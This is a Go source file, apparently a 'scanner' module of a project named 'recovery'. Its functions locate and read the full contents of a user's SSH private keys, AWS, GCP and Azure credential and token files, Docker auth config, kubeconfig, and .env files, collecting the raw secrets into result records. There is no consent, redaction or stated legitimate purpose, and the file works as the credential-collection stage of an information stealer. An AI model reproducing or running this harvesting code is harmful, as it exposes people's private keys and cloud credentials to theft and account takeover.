314 lines
7.1 KiB
Go
314 lines
7.1 KiB
Go
package scanner
|
|||
|
|
|
||
|
|
import (
|
||
|
|
"os"
|
||
|
|
"path/filepath"
|
||
|
|
"runtime"
|
||
|
|
"strings"
|
||
|
|
|
||
|
|
"recovery/recovery/types"
|
||
|
|
)
|
||
|
|
|
||
|
|
const maxKeyFileSize = 512 * 1024 // 512KB
|
||
|
|
|
||
|
|
func gcpConfigDir(home string) string {
|
||
|
|
if runtime.GOOS == "windows" {
|
||
|
|
return filepath.Join(home, "AppData", "Roaming", "gcloud")
|
||
|
|
}
|
||
|
|
return filepath.Join(home, ".config", "gcloud")
|
||
|
|
}
|
||
|
|
|
||
|
|
func ScanKeys() []types.KeyResult {
|
||
|
|
var results []types.KeyResult
|
||
|
|
home, _ := os.UserHomeDir()
|
||
|
|
if home == "" {
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
|
||
|
|
results = append(results, scanSSHKeys(home)...)
|
||
|
|
results = append(results, scanAWSCredentials(home)...)
|
||
|
|
results = append(results, scanGCPCredentials(home)...)
|
||
|
|
results = append(results, scanAzureCredentials(home)...)
|
||
|
|
results = append(results, scanDockerCredentials(home)...)
|
||
|
|
results = append(results, scanKubeConfig(home)...)
|
||
|
|
results = append(results, scanEnvFiles(home)...)
|
||
|
|
|
||
|
|
return results
|
||
|
|
}
|
||
|
|
|
||
|
|
func scanSSHKeys(home string) []types.KeyResult {
|
||
|
|
sshDir := filepath.Join(home, ".ssh")
|
||
|
|
entries, err := os.ReadDir(sshDir)
|
||
|
|
if err != nil {
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
|
||
|
|
var results []types.KeyResult
|
||
|
|
for _, e := range entries {
|
||
|
|
if e.IsDir() {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
name := e.Name()
|
||
|
|
if name == "known_hosts" || name == "authorized_keys" || strings.HasSuffix(name, ".pub") || name == "config" {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
|
||
|
|
path := filepath.Join(sshDir, name)
|
||
|
|
info, err := e.Info()
|
||
|
|
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
|
||
|
|
data, err := os.ReadFile(path)
|
||
|
|
if err != nil {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
content := string(data)
|
||
|
|
|
||
|
|
if isPrivateKey(content) {
|
||
|
|
results = append(results, types.KeyResult{
|
||
|
|
Type: "ssh",
|
||
|
|
Name: name,
|
||
|
|
Path: path,
|
||
|
|
Size: info.Size(),
|
||
|
|
Content: content,
|
||
|
|
})
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
configPath := filepath.Join(sshDir, "config")
|
||
|
|
if info, err := os.Stat(configPath); err == nil && info.Size() < maxKeyFileSize {
|
||
|
|
if data, err := os.ReadFile(configPath); err == nil && len(data) > 0 {
|
||
|
|
results = append(results, types.KeyResult{
|
||
|
|
Type: "ssh_config",
|
||
|
|
Name: "config",
|
||
|
|
Path: configPath,
|
||
|
|
Size: info.Size(),
|
||
|
|
Content: string(data),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
return results
|
||
|
|
}
|
||
|
|
|
||
|
|
func isPrivateKey(content string) bool {
|
||
|
|
markers := []string{
|
||
|
|
"-----BEGIN OPENSSH PRIVATE KEY-----",
|
||
|
|
"-----BEGIN RSA PRIVATE KEY-----",
|
||
|
|
"-----BEGIN EC PRIVATE KEY-----",
|
||
|
|
"-----BEGIN DSA PRIVATE KEY-----",
|
||
|
|
"-----BEGIN PRIVATE KEY-----",
|
||
|
|
"-----BEGIN ENCRYPTED PRIVATE KEY-----",
|
||
|
|
"PuTTY-User-Key-File-",
|
||
|
|
}
|
||
|
|
for _, m := range markers {
|
||
|
|
if strings.Contains(content, m) {
|
||
|
|
return true
|
||
|
|
}
|
||
|
|
}
|
||
|
|
return false
|
||
|
|
}
|
||
|
|
|
||
|
|
func scanAWSCredentials(home string) []types.KeyResult {
|
||
|
|
var results []types.KeyResult
|
||
|
|
awsDir := filepath.Join(home, ".aws")
|
||
|
|
|
||
|
|
for _, name := range []string{"credentials", "config"} {
|
||
|
|
path := filepath.Join(awsDir, name)
|
||
|
|
info, err := os.Stat(path)
|
||
|
|
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
data, err := os.ReadFile(path)
|
||
|
|
if err != nil {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
results = append(results, types.KeyResult{
|
||
|
|
Type: "aws",
|
||
|
|
Name: name,
|
||
|
|
Path: path,
|
||
|
|
Size: info.Size(),
|
||
|
|
Content: string(data),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
return results
|
||
|
|
}
|
||
|
|
|
||
|
|
func scanGCPCredentials(home string) []types.KeyResult {
|
||
|
|
var results []types.KeyResult
|
||
|
|
|
||
|
|
gcpDir := gcpConfigDir(home)
|
||
|
|
candidates := []string{
|
||
|
|
filepath.Join(gcpDir, "application_default_credentials.json"),
|
||
|
|
filepath.Join(gcpDir, "credentials.db"),
|
||
|
|
filepath.Join(gcpDir, "properties"),
|
||
|
|
}
|
||
|
|
|
||
|
|
for _, dir := range []string{
|
||
|
|
filepath.Join(home, "Desktop"),
|
||
|
|
filepath.Join(home, "Documents"),
|
||
|
|
filepath.Join(home, "Downloads"),
|
||
|
|
} {
|
||
|
|
entries, err := os.ReadDir(dir)
|
||
|
|
if err != nil {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
for _, e := range entries {
|
||
|
|
if e.IsDir() {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
name := e.Name()
|
||
|
|
if strings.HasSuffix(name, ".json") && (strings.Contains(name, "service") || strings.Contains(name, "gcp") || strings.Contains(name, "google")) {
|
||
|
|
candidates = append(candidates, filepath.Join(dir, name))
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
for _, path := range candidates {
|
||
|
|
info, err := os.Stat(path)
|
||
|
|
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
data, err := os.ReadFile(path)
|
||
|
|
if err != nil {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
content := string(data)
|
||
|
|
if strings.Contains(content, "client_secret") || strings.Contains(content, "private_key") || strings.Contains(content, "type") {
|
||
|
|
results = append(results, types.KeyResult{
|
||
|
|
Type: "gcp",
|
||
|
|
Name: filepath.Base(path),
|
||
|
|
Path: path,
|
||
|
|
Size: info.Size(),
|
||
|
|
Content: content,
|
||
|
|
})
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
return results
|
||
|
|
}
|
||
|
|
|
||
|
|
func scanAzureCredentials(home string) []types.KeyResult {
|
||
|
|
var results []types.KeyResult
|
||
|
|
|
||
|
|
azureDir := filepath.Join(home, ".azure")
|
||
|
|
candidates := []string{
|
||
|
|
filepath.Join(azureDir, "accessTokens.json"),
|
||
|
|
filepath.Join(azureDir, "azureProfile.json"),
|
||
|
|
filepath.Join(azureDir, "msal_token_cache.json"),
|
||
|
|
filepath.Join(azureDir, "service_principal_entries.json"),
|
||
|
|
}
|
||
|
|
|
||
|
|
for _, path := range candidates {
|
||
|
|
info, err := os.Stat(path)
|
||
|
|
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
data, err := os.ReadFile(path)
|
||
|
|
if err != nil {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
results = append(results, types.KeyResult{
|
||
|
|
Type: "azure",
|
||
|
|
Name: filepath.Base(path),
|
||
|
|
Path: path,
|
||
|
|
Size: info.Size(),
|
||
|
|
Content: string(data),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
|
||
|
|
return results
|
||
|
|
}
|
||
|
|
|
||
|
|
func scanDockerCredentials(home string) []types.KeyResult {
|
||
|
|
var results []types.KeyResult
|
||
|
|
|
||
|
|
path := filepath.Join(home, ".docker", "config.json")
|
||
|
|
info, err := os.Stat(path)
|
||
|
|
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
data, err := os.ReadFile(path)
|
||
|
|
if err != nil {
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
if strings.Contains(string(data), "auths") {
|
||
|
|
results = append(results, types.KeyResult{
|
||
|
|
Type: "docker",
|
||
|
|
Name: "config.json",
|
||
|
|
Path: path,
|
||
|
|
Size: info.Size(),
|
||
|
|
Content: string(data),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
return results
|
||
|
|
}
|
||
|
|
|
||
|
|
func scanKubeConfig(home string) []types.KeyResult {
|
||
|
|
var results []types.KeyResult
|
||
|
|
|
||
|
|
path := filepath.Join(home, ".kube", "config")
|
||
|
|
info, err := os.Stat(path)
|
||
|
|
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
data, err := os.ReadFile(path)
|
||
|
|
if err != nil {
|
||
|
|
return nil
|
||
|
|
}
|
||
|
|
results = append(results, types.KeyResult{
|
||
|
|
Type: "kubernetes",
|
||
|
|
Name: "config",
|
||
|
|
Path: path,
|
||
|
|
Size: info.Size(),
|
||
|
|
Content: string(data),
|
||
|
|
})
|
||
|
|
return results
|
||
|
|
}
|
||
|
|
|
||
|
|
func scanEnvFiles(home string) []types.KeyResult {
|
||
|
|
var results []types.KeyResult
|
||
|
|
|
||
|
|
searchDirs := []string{
|
||
|
|
filepath.Join(home, "Desktop"),
|
||
|
|
filepath.Join(home, "Documents"),
|
||
|
|
filepath.Join(home, "Downloads"),
|
||
|
|
}
|
||
|
|
|
||
|
|
for _, dir := range searchDirs {
|
||
|
|
entries, err := os.ReadDir(dir)
|
||
|
|
if err != nil {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
for _, e := range entries {
|
||
|
|
if e.IsDir() {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
name := e.Name()
|
||
|
|
if name != ".env" && !strings.HasPrefix(name, ".env.") {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
path := filepath.Join(dir, name)
|
||
|
|
info, err := e.Info()
|
||
|
|
if err != nil || info.Size() > maxKeyFileSize || info.Size() == 0 {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
data, err := os.ReadFile(path)
|
||
|
|
if err != nil {
|
||
|
|
continue
|
||
|
|
}
|
||
|
|
results = append(results, types.KeyResult{
|
||
|
|
Type: "env",
|
||
|
|
Name: name,
|
||
|
|
Path: path,
|
||
|
|
Size: info.Size(),
|
||
|
|
Content: string(data),
|
||
|
|
})
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
return results
|
||
|
|
}
|